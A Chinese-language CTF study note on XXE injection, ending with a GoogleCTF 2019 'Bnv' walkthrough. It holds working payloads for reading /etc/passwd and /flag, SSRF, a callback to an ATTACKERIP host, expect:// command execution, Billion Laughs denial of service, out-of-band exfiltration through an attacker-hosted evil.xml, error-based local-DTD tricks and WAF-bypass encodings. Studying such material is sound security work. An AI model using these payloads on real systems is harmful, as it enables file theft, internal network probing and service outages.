CTF-[XXE学习记录]

1. XXE

关于xml我就不详细说了，想看的话从我之前的文章找找，有关于xml的概念和怎么构造。
XML的设计宗旨是传输数据，而非显示数据。XML是不作为的，XML是不会做任何事情，XML 被设计用来结构化、存储以及传输信息。
XML是纯文本，且允许创作者定义自己的标签和文档结构，是独立于软件和硬件的信息传输工具。

0x01.DTD

文档类型定义（DTD）可定义合法的XML文档构建模块，DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。

1. 内部的DOCTYPE声明

假如DTD被包含在XML源文件中，它应当通过下面的语法包装在一个 DOCTYPE 声明中：

<!DOCTYPE 根元素 [元素声明]>

2. 外部文档声明

假如DTD位于XML源文件的外部，那么它应通过下面的语法被封装在一个 DOCTYPE 定义中：

<!DOCTYPE 根元素 SYSTEM "文件名">

3. DTD的作用

1，通过DTD，你的每一个XML文件均可携带一个有关其自身格式的描述。
2，通过 DTD，独立的团体可一致地使用某个标准的 DTD 来交换数据。
3，您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
4，您还可以使用 DTD 来验证您自身的数据。

0x02.实体

实体可以理解为变量，必须在DTD中定义申明，可以在文档中的其他位置引用该变量的值。

1.实体类别

实体按类型主要分为以下四种：

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)

实体根据引用方式，还可分为内部实体与外部实体，

参数实体用%实体名称申明，引用时也用%实体名称;其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；其余实体只能在DTD中申明，可在xml文档中引用。
内部实体：

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体：

<!ENTITY % 实体名称 "实体的值" >
或 <!ENTITY % 实体名称 SYSTEM "URI">

实例演示：除参数实体外实体+内部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a  [   <!ENTITY name "H9ne"> ] >
<foo>
 <value>
 &name;
 </value> 
 </foo>

实例演示：参数实体+外部实体

<?xml version="1.0"  encoding="utf-8"?>
<!DOCTYPE a [   <!ENTITY % name SYSTEM "file://etc/passwd"> 
%name;]>

注意：%name（参数实体）是在DTD中被引用的，而&name(其余实体）是在xml文档中被引用的
xxe漏洞主要是利用了DTD引用外部实体导致的漏洞，重点看下能引用哪些类型的外部实体。

0x03.XML外部实体注入

XML External Entity Injection即xml外部实体注入漏洞，简称XXE漏洞。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时，就会发生此攻击。 这种攻击可能导致信息泄露，命令执行，拒绝服务，SSRF，内网端口扫描以及其他系统影响。

1. XXE检测

主要的方法是检测所有接受XML作为输入内容端点，抓包观察其是否会返回我们想要的内容
首先检测XML是否会被成功解析：

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]>
 <root>
 &words;
 </root>

如果数据包或页面中存在“Hello XXE”的字样，则表名实体已被解析。

接下来检测该端点是否支持DTD引用外部实体：

<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY 
[<!ENTITY % name SYSTEM "http://localhost/tp5/test.xml">
%name;]>

此时通过查看自己服务器上的日志来判断，看目标服务器是否向你的服务器发了一条请求test.xml的HTTP request。

如果是这样，呢么该处很可能存在XML外部实体注入漏洞。

2. 小总结

许多服务端开发框架(比如基于RESTful服务的JAX-RS)也允许基于数据交换的XML格式作为输入，甚至是输出。如果可以进行这种替换，可以通过修改请求头中的Content-Type的值(比如修改成text/xml或者application/xml)来进行验证触发。即是客户端只能使用JSON格式或者是直接路径或者是参数查询的方式来访问服务。
对于传统的XXE来说，要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

0x04.XXE利用及payload

以下利用主要基于libxml2版本，其中libxml是PHP的xml支持。
而libxml版本在2.9.1及以后，默认不解析外部实体，很多利用将无法实现。

1. 文件读取

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>
&xxe;
</name>
</root>

文件读取的利用和payload，即是用file协议读取文件内容，并输出到页面上。

2. SSRF

XXE 可以与SSRF（服务端请求伪造） 漏洞一起用于探测其它内网主机的信息，基于http协议。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" 
>]>
<foo>
&xxe;
</foo>

当然也可以用来探测端口信息，根据响应包的信息，若非“connection refused”则表示该端口可能是开放的。
控制服务器对外网发送请求，用ncat工具进行测试，
用ncat在自己的服务器上开启监听：ncat -lvkp 8081(端口可自定义)
之后便可使用以下语句尝试是否能够建立连接：

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [  
<!ELEMENT data (#PCDATA)>  ]><data>
4
</data>

如果能够建立连接，那么服务器端的ncat会收到相应的请求信息。

3. RCE

在安装expect扩展的PHP环境里执行系统命令，当然其他协议也有可能可以执行系统命令

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>
&xxe;
</name>
</root>

4. DDoS

支持实体测试：

<!DOCTYPE data [<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">]>
<data>
&a2;
</data>

如果解析过程变的非常缓慢，则
表明测试成功，即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
Billion Laughs 攻击
一个经典的Dos攻击payload：

<?xml version="1.0"?>
 <!DOCTYPE lolz [ <!ENTITY lol "lol"> 
 <!ELEMENT lolz (#PCDATA)> 
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 
  "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> 
  <!ENTITY lol3 
  "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">...... 
  <!ENTITY lol9 
  "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
  <lolz>
  &lol9;
  </lolz>

当XML解析器加载该文档时，它会看到它包含一个根元素“lolz”，该元素包含文本“&lol9;”。然而，“&lol9;”是一个已定义的实体，它扩展为包含十个“&lol8;”字符串。每个“&lol8;”字符串都是一个已定义的实体，可以扩展到10个“&lol7;”字符串，以此类推。在处理完所有的实体扩展之后，这个小(小于1 KB)的XML块实际上将包含109 = 10亿个“lol”，占用了将近3 gb的内存。

5. Blind XXE

Blind XXE，字面意思也就是提交xml的服务器端点不再返回有效的数据，此时我们前面的一些利用方法就要失效了。但是解决方法还是有的。
XXE OOB(外带数据通道)
概念:
带外数据(out—of—band data)，有时也称为加速数据(expedited data)，
是指连接双方中的一方发生重要事情，想要迅速地通知对方。这种通知在已经排队等待发送的任何“普通”(有时称为“带内”)数据之前发送。带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的，而不是在客户机和服务器间再用一个连接。
利用:
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。但有些情况下不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。

将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。

<?xml version="1.0"?>
<!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://remotevps/evil.xml">
%remote;%all;]>
<root>
&send;
</root>

evil.xml：

<!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php?
file=%file;'>">

实体remote，all，send的引用顺序很重要，首先对remote引用目的是将外部文件evil.xml引入到解释上下文中，然后执行%all，这时会检测到send实体，在root节点中引用send，就可以成功实现数据转发。当请求发送以后，攻击者的服务器上就能查看到1.txt中的内容。

6. 基于错误的XXE

形同blind xxe，当我们成功地让服务端解析了xml文档，得到的响应却是通用的。比如添加账号的时候只返回“添加成功”这样的响应。此时我们可以让服务器响应报错信息来得到我们要的敏感数据。
有两种报错的来源：

DTD结构的错误
XML架构验证时的错误

外部DTD
在本例中，我们将让服务器加载一个恶意DTD，它将在错误消息中显示文件的内容(只有当可以看到错误消息时，这才有效)。

可以使用恶意的外部DTD触发包含/etc/passwd文件内容的XML解析错误消息，如下所示:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval 
"<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;%error;

这个DTD执行以下步骤:
定义一个名为file的XML参数实体，其中包含/etc/passwd文件的内容。
定义一个名为eval的XML参数实体，包含另一个名为error的XML参数实体的动态声明。错误实体将通过加载一个不存在的文件来评估，该文件的名称包含文件实体的值。
使用eval实体，该实体将导致执行错误实体的动态声明。
使用错误实体，以便通过尝试加载不存在的文件来得到数据，从而导致返回包含不存在文件的名称的错误消息，该名称正是/etc/passwd文件的内容。

请注意，外部DTD允许我们在第二个(eval)中包含一个实体，但在内部DTD中是禁止的。因此，在不允许使用外部DTD的情况下(通常)强制执行错误是行不通的。

内外部DTD混合
那么，当带外交互被阻止(外部连接不可用)时， blind XXE漏洞怎么办?
在这种情况下，由于XML语言规范中的漏洞，仍然有可能触发包含敏感数据的错误消息。如果文档的DTD混合使用内部和外部DTD声明，那么内部DTD可以重新定义在外部DTD中声明的实体。当发生这种情况时，在另一个参数实体的定义中使用XML参数实体的限制就放宽了。
这意味着攻击者可以从内部DTD中使用基于错误的XXE技术，前提是他们使用的XML参数实体是重新定义在外部DTD中声明的实体。当然，如果带外连接被阻塞，那么就不能从远程位置加载外部DTD。相反，它需要是应用服务器本地的外部DTD文件。从本质上说，攻击涉及调用碰巧存在于本地文件系统上的DTD文件，并将其重新用于重定义现有实体，从而触发包含敏感数据的解析错误。

假设服务器文件系统上位于位置/usr/local/app/schema.上有一个DTD文件这个dtd文件定义了一个名为custom_entity的实体。攻击者可以通过提交如下混合DTD来触发包含/etc/passwd文件内容的XML解析错误消息:

<!DOCTYPE foo [    
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">    
<!ENTITY % custom_entity '       
 <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">        
 <!ENTITY &#x25; eval "
 <!ENTITY &#x26;#x25; error SYSTEM 
 &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        
 &#x25;error;    '>    %local_dtd;]>

这个DTD执行以下步骤:
定义名为local_dtd的XML参数实体，其中包含存在于服务器文件系统上的外部DTD文件的内容。
重新定义名为custom_entity的XML参数实体，该实体已经在外部DTD文件中定义。实体被重新定义为包含前面描述的基于错误的XXE漏洞，用于触发包含/etc/passwd文件内容的错误消息。
使用local_dtd实体，以便解释外部DTD，包括重新定义的custom_entity实体的值。这将导致所需的错误消息。
现实世界的例子:使用GNOME桌面环境的系统通常有一个DTD在/usr/share/yelp/ DTD /docbookx包含名为ISOamso的实体的dtd。
由于该技术使用内部DTD，所以首先需要找到一个有效的DTD。你可以安装相同的服务器正在使用的操作系统/软件和搜索一些默认dtd，或抓取系统内的默认dtd列表，并检查其中是否存在。

<!DOCTYPE foo
 [<!ENTITY % local_dtd SYSTEM 
 "file:///usr/share/yelp/dtd/docbookx.dtd">
 %local_dtd;]>

7. XInclude攻击

xinclude可以理解为xml include
熟悉编译/脚本语言的一定熟知，像php的include，python和java的import都是可以进行文件包含的。

文件包含可以使代码更整洁，我们可以将定义的功能函数放在function.php中，再在需要使用功能函数的文件中使用include包含function.php，这样就避免了重复冗余的函数定义，同样可以增加代码的可读性。故此，xinclude也不例外，它是xml标记语言中包含其他文件的方式。

一些应用程序接收客户端提交的数据，会将其嵌入到服务器端XML文档中，然后解析文档。当客户端提交的数据被放置到后端SOAP(简单对象访问协议)请求中，然后由后端SOAP服务处理时，就会出现这种情况。

在这种情况下，我们不能执行典型的XXE攻击，因为无法控制整个XML文档，因此不能定义或修改DOCTYPE元素。但是，我们可以使用XInclude代替。XInclude是XML规范的一部分，它允许从子文档构建XML文档。我们可以在XML文档中的任何数据值中放置XInclude攻击，因此可以在只控制放在服务器端XML文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击，需要引用XInclude名称空间并提供希望包含的文件的路径。例如:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

8. XSTL攻击

XSLT（扩展样式表转换语言）是一种对 XML 文档进行转化的语言。XML 文档通过 XSLT 转化后可以变成为另一份不同的 XML 文档，或者其他类型的文档，例如 HTML 文档、 CSV 文件、纯文本文件等。
具体的转换过程：https://www.w3school.com.cn/xsl/xsl_transformation.asp
因为同样具有XML文档，那也有XXE的漏洞隐患。关于具体的应用参考这篇文章
https://bbs.pediy.com/thread-222921.htm
如果你的应用中使用了 XSLT ，或许你可以从下面的指南中学到一些规避 XSLT 漏洞的方法。

1,尽可能避免使用用户所提供的 XSLT 文档。
2,不要使用不可信的输入来生成 XSLT 文档，例如连接字符串。如果
必须要使用非静态值，则应将其包含在 XML 数据文件中，并且只能
由 XSLT 文档引用。
3,手动关闭正在使用的 XSLT 库中所提供的一些有风险的功能，因为
库的默认设置一般都不太安全。查查库手册学习一下如何关闭那些有
风险的功能，例如：XML外部实体、document{} 函数、import 和 
include 标签。确保禁用了嵌入式脚本扩展，还有一些专有扩展所提
供的允许读写外部文件的功能。

XSLT 作为一个强大的工具被众多应用所使用，但是其脆弱的一面并不广为人知。一份糟糕的代码中很有可能隐藏了可被攻击者用来控制应用或窃取数据的漏洞。本文旨在通过展示一些可能受到的攻击来提高大家对于 XSLT 的认识，同时提供了一点指引帮助大家避免中招一些写代码时比较常见的陷阱。

9. XXE Bypass

上传文件绕过
有些应用程序允许用户上传文件，然后在服务器端处理这些文件。一些常见的文件格式使用XML或包含XML子组件。基于xml的格式包括DOCX这样的办公文档格式和SVG这样的图像格式。
例如，应用程序可能允许用户上传图像，并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收PNG或JPEG之类的格式，所使用的图像处理库也可能支持SVG图像。由于SVG格式使用XML，攻击者可以提交恶意的SVG图像，从而达到针对XXE漏洞的隐藏攻击面。

<svg xmlns="http://www.w3.org/2000/svg" 
xmlns:xlink="http://www.w3.org/1999/xlink" width="300" 
version="1.1" height="200">
<image xlink:href="file:///etc/hostname">
</image>
</svg>

另外，许多常见的文档格式，例如doc，docx，odt等，其实质是一个zip文件，其中包含xml文件。当我们用winrar、7z等工具打开这类文件就能看到：

我们可以利用这些文件来绕过xxe防御。 oxml_xxe就是一个用于向此类文件中嵌入XXE Payload的工具。它支持以下文件格式的创建或修改：

DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)

oxml_xxe的工作原理分为两种：

1, 直接建立一个文件，该模式会自动添加DOCTYPE并将XML实体
插入到用户选择的文件中。
2, 替换文件中的字符串，此模式会遍历查找文档中的符号§。并用
XML实体(“&xxe;”)替换此符号的所有实例。注意，你可以在任何地方
打开文档并插入§来替换它。常见的用例是web应用程序，它读取
xlsx，然后将结果打印到屏幕上。利用XXE我们便可以将内容打印到
屏幕上。

编码绕过
base64

<!DOCTYPE test [ 
<!ENTITY % init SYSTEM 
"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]>
<foo/>

仅当XML服务器接受data://协议时，此方法才有效。
utf-7

<!xml version="1.0" encoding="UTF-7"?-->+ADw-+ACE-
DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-
example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-
+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-
+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-
1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-

使用两种编码
思路是在同一个文档里同时使用两种编码，从而迷惑 WAF。直接用生成的命令来说明：

echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xmlecho '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

头部声明使用 UTF-8 编码，而之后使用 UTF-16 编码。当解析器读到 XML 声明的编码时，会切换到该编码（继续解析），即使该编码与声明部分所使用的编码不同。与此同时，WAF 一般不支持这种多种编码的 XML 文档。
在实体内编码
是新的XML技术，对内部实体中的任何DTD/XML进行编码（编码格式是字符串16进制+UTF-8形式），达到WAF bypass的效果！
当没有XXE，但XML主体中存在漏洞(例如SQL注入)时起作用。

文档中的额外空格
由于XXE通常在XML文档的开头，所以比较省事儿的WAF可以避免处理整个文档，而只解析它的开头。但是，XML格式允许在格式化标记属性时使用任意数量的空格，因此攻击者可以在<?xml?>或<!DOCTYPE>中插入额外的空格，从而绕过此类WAF。

10. XXE工具

XXEinjector
XXEinjector是一个使用Ruby编写的自动化xxe漏洞检测工具，可以通过给定一个http请求的包，然后设置好好参数就会自动化的进行fuzz，他会通过内置的规则进行自动化的测试，并且还支持二次注入（通过另一个请求触发漏洞）
参考博客：https://blog.csdn.net/weixin_44420143/article/details/118721145
这位师傅总结的太详细了 感谢师傅总结 学到了很多

2. [GoogleCTF2019 Quals]Bnv

这里有一个题目正好是这个XXE
首先进行抓包

0X01.首先将文件格式从json改为xml 然后构造xml

0X02.回显发现没有DTD，就伪造一个DTD

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [    
<!ELEMENT message (#PCDATA)>    
<!ENTITY b "13560136012350240140125">
]>
<message>&b;</message>

0X03. 加上name实体来加载内部文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
        <!ELEMENT message (#PCDATA)>
    <!ENTITY b "13560136012350240140125">
    <!ENTITY % name SYSTEM "file:///etc/passwd">
        %name;
]>
<message>&b;</message>

报错：

internal error: xmlParseInternalSubset: error detected in Markup 
declaration, line 1, column 1

文档类型声明包含或指向的标记声明必须格式正确
这意味着文件已经正确加载了，但由于它不是个格式良好的xml文件 所以它中断了。
如果我们尝试引用系统不存在的文件，会报错：

failed to load external entity “file:///xxxx”, line 6, column 10

所以可以试出flag在根目录

0X04. 读取flag

Linux设备可能在/usr/share/yelp/dtd/docbookx.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体，所以我们可以使用它来写DTD代码。

首先读/flag，第二次把/flag的里的值做实体来读取，因为/flag的里的值这个实体不存在，就会报错返回，得到flag。
像那篇文章里面写得

<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
'>
%local_dtd;
]>
//因为我们要的是报错嘛，后面的文档部分有没有无所谓了

参考博客：https://blog.csdn.net/weixin_46081055/article/details/122875426